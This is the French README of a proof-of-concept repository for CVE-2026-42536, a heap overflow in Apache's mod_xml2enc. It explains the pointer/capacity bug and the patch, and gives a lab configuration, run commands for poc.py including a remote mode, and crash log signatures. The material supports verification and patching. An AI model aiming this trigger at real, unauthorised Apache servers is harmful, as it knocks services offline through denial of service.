
Vulnérabilité de dépassement de tampon basé sur le tas dans Apache HTTP Server avec mod_xml2enc, xml2StartParse et contenu non fiable
mod_xml2enc du serveur HTTP Apache — PoCCe dépôt contient une preuve de concept contrôlée pour CVE-2026-42536, une écriture hors limites basée sur le tas dans le module mod_xml2enc du serveur HTTP Apache. Les versions 2.4.0 à 2.4.67 du serveur HTTP Apache sont affectées ; la version 2.4.68 contient le correctif amont.
Le résultat démontré est une corruption de mémoire suivie d'un plantage d'un worker Apache. Des déclenchements répétés peuvent provoquer un déni de service. Ce PoC ne démontre pas d'exécution de code à distance, d'élévation de privilèges ni de reverse shell.
Ce PoC envoie intentionnellement du contenu susceptible de faire planter un worker Apache. Exécutez-le uniquement dans un environnement jetable et isolé que vous possédez ou que vous êtes explicitement autorisé à tester. Ne le pointez pas vers des systèmes de production ou tiers.
Le script n'autorise par défaut que les opérations en boucle locale. L'opération à distance nécessite le drapeau explicite --allow-remote, mais ce drapeau ne remplace pas une autorisation.
xml2StartParse peut demander à mod_xml2enc d'ignorer des octets avant l'élément de départ configuré. Dans le serveur HTTP Apache 2.4.67, fix_skipto() avance le pointeur du tampon de sortie et réduit la quantité de données valides, mais ne réduit pas la capacité de sortie du même décalage :
ctx->bytes -= (p - ctx->buf);
ctx->buf = p;
La conversion de jeu de caractères ultérieure reçoit donc une capacité mesurée à partir de l'allocation d'origine, alors même que ctx->buf pointe désormais à l'intérieur de cette allocation. Le PoC rend ce décalage observable en combinant :
xml2StartParse html.Content-Type déclarant charset=windows-1252.0x80 répété, qui s'étend d'un octet CP1252 vers l'encodage UTF-8 sur trois octets du signe euro.La conversion en expansion consomme la capacité obsolète et peut écrire au-delà de l'espace réellement restant après l'avance du pointeur.
Apache 2.4.68 corrige l'erreur de comptabilité en soustrayant le décalage ignoré de ctx->bblen :
ctx->bytes -= (p - ctx->buf);
+ctx->bblen -= (p - ctx->buf);
ctx->buf = p;
Le PoC utilise deux composants HTTP :
poc.py client -> vulnerable Apache front end -> payload backend in poc.py
Apache doit charger les modules suivants :
filter
proxy
proxy_http
xml2enc
Utilisez la configuration suivante uniquement dans un laboratoire isolé sous Apache 2.4.67 ou antérieur :
Listen 127.0.0.1:18080
<VirtualHost 127.0.0.1:18080>
ProxyRequests Off
ProxyPass /cve-2026-42536/ http://127.0.0.1:18081/
ProxyPassReverse /cve-2026-42536/ http://127.0.0.1:18081/
<Location /cve-2026-42536/>
SetOutputFilter xml2enc
xml2StartParse html
</Location>
</VirtualHost>
La configuration par défaut suppose que poc.py s'exécute dans le même espace de noms réseau d'hôte ou de conteneur qu'Apache. Le port 18081 est le backend de charge utile ; les requêtes doivent être envoyées vers la route Apache filtrée sur le port 18080.
Démarrez l'instance Apache vulnérable, puis exécutez le PoC depuis le même hôte ou conteneur jetable :
python3 poc.py
Les valeurs par défaut sont équivalentes à :
python3 poc.py \
--host 127.0.0.1 \
--port 18080 \
--path /cve-2026-42536/ \
--backend-bind 127.0.0.1 \
--backend-port 18081 \
--skip 2048 \
--expand 12288 \
--attempts 3
Pour un laboratoire autorisé sur deux machines, rendez le backend de charge utile accessible depuis Apache et mettez à jour ProxyPass/ProxyPassReverse pour utiliser l'IP du laboratoire de l'attaquant. Liez ensuite le backend et ciblez explicitement l'adresse Apache du laboratoire :
python3 poc.py \
--host VICTIM_LAB_IP \
--port 18080 \
--backend-bind 0.0.0.0 \
--backend-port 18081 \
--allow-remote
N'exposez pas le port du backend au-delà du réseau de test isolé.
Surveillez Apache pendant l'exécution du PoC. Selon la compilation et le gestionnaire de processus, une requête client peut échouer, être réinitialisée ou renvoyer des données partielles pendant que le processus parent remplace le worker planté.
Les preuves typiques de la compilation vulnérable testée incluaient :
AH01434 character-set conversion selected
AH01428 skipped to the first configured element
AH01441 conversion performed
AH00052 child process exited on signal 11 (SIGSEGV)
Sur une installation gérée par systemd :
sudo journalctl -u apache2 -f
Pour un conteneur Docker au premier plan :
docker logs -f CONTAINER_NAME
La rotation des PID des workers peut fournir un signal supplémentaire :
watch -n 0.5 'pgrep -a httpd || pgrep -a apache2'
Un échec de transport seul ne constitue pas une preuve de la vulnérabilité. Confirmez le plantage dans le journal d'erreurs Apache, le journal système, la sortie d'un sanitizer ou un core dump.
Répétez la même requête contre le serveur HTTP Apache 2.4.68 avec les mêmes modules et la même configuration d'hôte virtuel. Le backend de charge utile devrait toujours recevoir la requête, mais le worker Apache devrait rester actif car la capacité de sortie est réduite en même temps que l'avance du pointeur.
Si le processus parent ne remplace pas automatiquement le worker, redémarrez uniquement le service du laboratoire jetable :
sudo systemctl restart apache2
ou redémarrez le conteneur jetable :
docker restart CONTAINER_NAME